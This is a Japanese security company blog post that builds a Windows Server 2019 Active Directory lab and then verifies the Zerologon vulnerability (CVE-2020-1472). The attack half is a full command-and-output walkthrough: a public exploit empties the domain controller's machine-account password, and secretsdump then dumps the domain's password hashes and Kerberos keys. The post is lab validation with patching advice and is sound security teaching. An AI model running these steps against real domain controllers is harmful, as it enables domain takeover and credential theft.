Armoris日記 CVE-2020-1472編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Zerologonを検証してみる

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

今回のArmoris日記はZerologonの検証用環境を作成し、ツールを用いて攻撃が成功するかを検証します。
脆弱性についての詳しい説明や原因については多くの方が解説しているので、ここでは簡単に概要を説明します。

ZerologonとはActive Directoryでユーザーとシステムの認証の為に利用されているNetlogonプロトコルの実装における権限昇格の脆弱性になります。本脆弱性を悪用することでドメインコントローラーに接続している端末を全て制御することが可能になります。
実際にPoCも公開されており、脆弱性を悪用した攻撃が確認されています。

脆弱性情報:JVN
影響を受けるシステム:

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
Windows Server 2019 1809
Kali Linux 2020.2

VBoxを使用してWindows Serverを準備する

今回はWindows Server 2019の評価版ISOとVirtual Boxを使用してActive Directory環境を構築します。

リンク先のサイトにアクセスして以下の手順に従ってWindows Server 2019のISOをダウンロードします。
以下の画面でISOを選択します。 f:id:Armoris:20201204163628p:plain

次へを押して必要事項を入力します。 f:id:Armoris:20201204163702p:plain

入力が完了したら次へを押してダウンロードします。 f:id:Armoris:20201204163736p:plain

ISOファイルのダウンロードが完了したらVBoxを使用して環境を準備していきます。
VBoxの新規作成から以下のように設定してISOファイルを選択して起動します。
私はメモリ2GBとディスク20GBのデフォルト割り当てを使用しました。 f:id:Armoris:20201204164221p:plain

今回は英語環境を使用するので以下の設定でインストールをします。 f:id:Armoris:20201204164346p:plain

インストールするものはDesktop Experiensを選択します。 f:id:Armoris:20201204164441p:plain

インストールが完了すると画像のようにAdministraterのパスワード入力を求められます。
ここでは記号などが入っているものでないと設定ができない為、Passw0rd!などを使用して設定します。 f:id:Armoris:20201204164557p:plain

設定が完了すると自動的に再起動します。再起動後に以下のような画面になればインストールは完了です。 f:id:Armoris:20201204164733p:plain

表示されている通りにCtrl+Alt+Deleteを押して先ほど設定したパスワードを入力しログインします。
ログインが完了してしばらくすると自動的にServer Managerが起動します。 f:id:Armoris:20201204164922p:plain

以上でWindows Serverのインストールが完了しました。

Active Directoryを設定する

次にActive Directoryの設定を行います。

まずはServer ManagerからAdd roles and featuresを選択します。 f:id:Armoris:20201204165845p:plain

Add Roles and Features Wizardが表示されたらNextを押していき、Select server rolesの項目でActive Directory Domain Servicesにチェックを入れます。
すると以下のような画面になるのでAdd Featuresを押します。 f:id:Armoris:20201204170221p:plain

そのままNextを押していき、installを押してインストールが完了するのを待ちます。 f:id:Armoris:20201204170418p:plain

インストールが完了すると以下のように青文字でPromote this server to a domain controllerと表示されるのでクリックします。 f:id:Armoris:20201204170535p:plain

以下のような画面になったらRoot domain name:を入力してNextを押します。
今回はlocalhost.testと入力しています。 f:id:Armoris:20201204171017p:plain

次にパスワードの設定を行います。今回は検証のためPassw0rd!で設定しています。 f:id:Armoris:20201204171159p:plain

その他はデフォルト設定のままでインストールの事前チェックで問題がなければインストールを実行します。
インストールが完了すると自動的に再起動が行われます。 f:id:Armoris:20201204171327p:plain

再起動が完了したらActive Directoryのインストールは完了です。

Active Directoryの設定をする

Active Directoryのインストールが完了したらユーザーとグループを作成します。

Server ManagerToolsからActive Directory Users and Computersを選択します。 f:id:Armoris:20201204171959p:plain

ウィンドウが開いたら先ほど設定したlocalhost.testを展開します。
Usersを右クリックしてNewからUserを選択します。f:id:Armoris:20201204172425p:plain

各種必要事項を入力していきます。
検証用に以下の情報を入力しています。

First name: test
Last name: user

User logon name: test-user

f:id:Armoris:20201204172755p:plain

必要事項の入力が完了したらパスワードを設定します。
ここでも検証用にPassw0rd!を設定しています。
パスワードを入力したらNextを押して進みユーザーを作成します。 f:id:Armoris:20201204173108p:plain

ユーザー作成が完了したらグループを作成していきます。
まずは先程と同じようにUsersを右クリックしてNewからGroupを選択します。 f:id:Armoris:20201204173448p:plain

Group name:TestGroupと入力してOKを押してグループを作成します。 f:id:Armoris:20201204173620p:plain

グループの作成が完了したらユーザーをグループに追加します。

先程作成したTestGroupをダブルクリックし、Memversの項目からAddを押します。
ウィンドウが開いたらtest-userと入力し、Check Namesを押してOKを押します。
これでグループに作成したユーザーが追加されます。 f:id:Armoris:20201204173854p:plain

これでActive Directoryの設定が完了です。

ツールを使って検証する

Windows Serverの環境ができたらKali Linuxからツールを使用してZerologonの検証を行います。
ツール使用時にWindows ServerのDevice nameを使用する為事前にメモしておきます。
SettingsSystem項目にあるAboutから確認できます。 f:id:Armoris:20201204175859p:plain

まずは以下のツールの準備をします。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ git clone https://github.com/SecureAuthCorp/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (64/64), done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 18794 (delta 30), reused 20 (delta 7), pack-reused 18730
Receiving objects: 100% (18794/18794), 6.28 MiB | 4.56 MiB/s, done.
Resolving deltas: 100% (14300/14300), done.

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket

┌──(user㉿kali-linux)-[~/Desktop/impacket]
└─$ pip3 install .

次に権限昇格用のツールを準備します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ git clone https://github.com/VoidSec/CVE-2020-1472.git
Cloning into 'CVE-2020-1472'...
remote: Enumerating objects: 75, done.
remote: Counting objects: 100% (75/75), done.
remote: Compressing objects: 100% (69/69), done.
remote: Total 75 (delta 41), reused 18 (delta 6), pack-reused 0
Unpacking objects: 100% (75/75), 3.75 MiB | 2.86 MiB/s, done.

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ cd CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ pip3 install -r requirements.txt

まずはActive Directoryにログインして情報の取得を試みるツールを権限昇格前に試します。

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[*] Cleaning up...

次にExploit Codeを実行します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples/CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ python3 cve-2020-1472-exploit.py -n WIN-GO7TKNGMALG -t 10.0.1.38
 _____                   __
/__  /  ___  _________  / /___  ____ _____  ____
  / /  / _ \/ ___/ __ \/ / __ \/ __ `/ __ \/ __ \
 / /__/  __/ /  / /_/ / / /_/ / /_/ / /_/ / / / /
/____/\___/_/   \____/_/\____/\__, /\____/_/ /_/
                             /____/

Checker & Exploit by VoidSec

Performing authentication attempts...
.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] Success: Target is vulnerable!
[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y
y
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

Successと表示されていればActive Directoryの権限昇格が成功しています。
再度情報の取得を行ってみます。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:902af79092df128cba8e16f0a1e6d206:::
localhost.test\test-user:1103:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
WIN-GO7TKNGMALG$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c3d2d56da0412c305dc24133124f94ea8d718fcd8033556644753772d289db52
Administrator:aes128-cts-hmac-sha1-96:f5325fb0fe00356deccd66c6adeeae82
Administrator:des-cbc-md5:e97a6d8a49bf133e
krbtgt:aes256-cts-hmac-sha1-96:fd95e1d9581d9f4b2d7f58a961c50b2b802c20e7578a2c253b9042b1158dc0ae
krbtgt:aes128-cts-hmac-sha1-96:11fb466f7a6d163c341cea5403a888a7
krbtgt:des-cbc-md5:d0864662d00dd5ec
localhost.test\test-user:aes256-cts-hmac-sha1-96:7d4d27b69a3fc671edd7a541e212c8380372479a96dba6a99e89dc41240fded2
localhost.test\test-user:aes128-cts-hmac-sha1-96:8c47b02207a82868e541497b6c71da21
localhost.test\test-user:des-cbc-md5:5e6d62b9f2f4e6cd
WIN-GO7TKNGMALG$:aes256-cts-hmac-sha1-96:387891ec7aa06b29d18be0b914a45cf7fc1d9fd3881fb51b20356370e16e0535
WIN-GO7TKNGMALG$:aes128-cts-hmac-sha1-96:485e8beb173dd30b78b62db516fdc330
WIN-GO7TKNGMALG$:des-cbc-md5:ec6b8a37dff81acb
[*] Cleaning up...

今度は先程作成したtest-userに関する情報を含め、実際にActive Directoryから不正に情報を取得することに成功しています。

今回の検証は以上になります。

最後に

今回検証したZerologonと言われる脆弱性は実際にツールがいくつも公開されており、脆弱性を悪用した攻撃が確認されています。また、今回の脆弱性による攻撃は正常な認証プロセスの中で行われる為、イベントログに記録されるものだけでは判別が難しくなります。
すでに修正パッチが配布されていますが、まだ適用されていない場合は早急にパッチを適用するようにしてください。

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。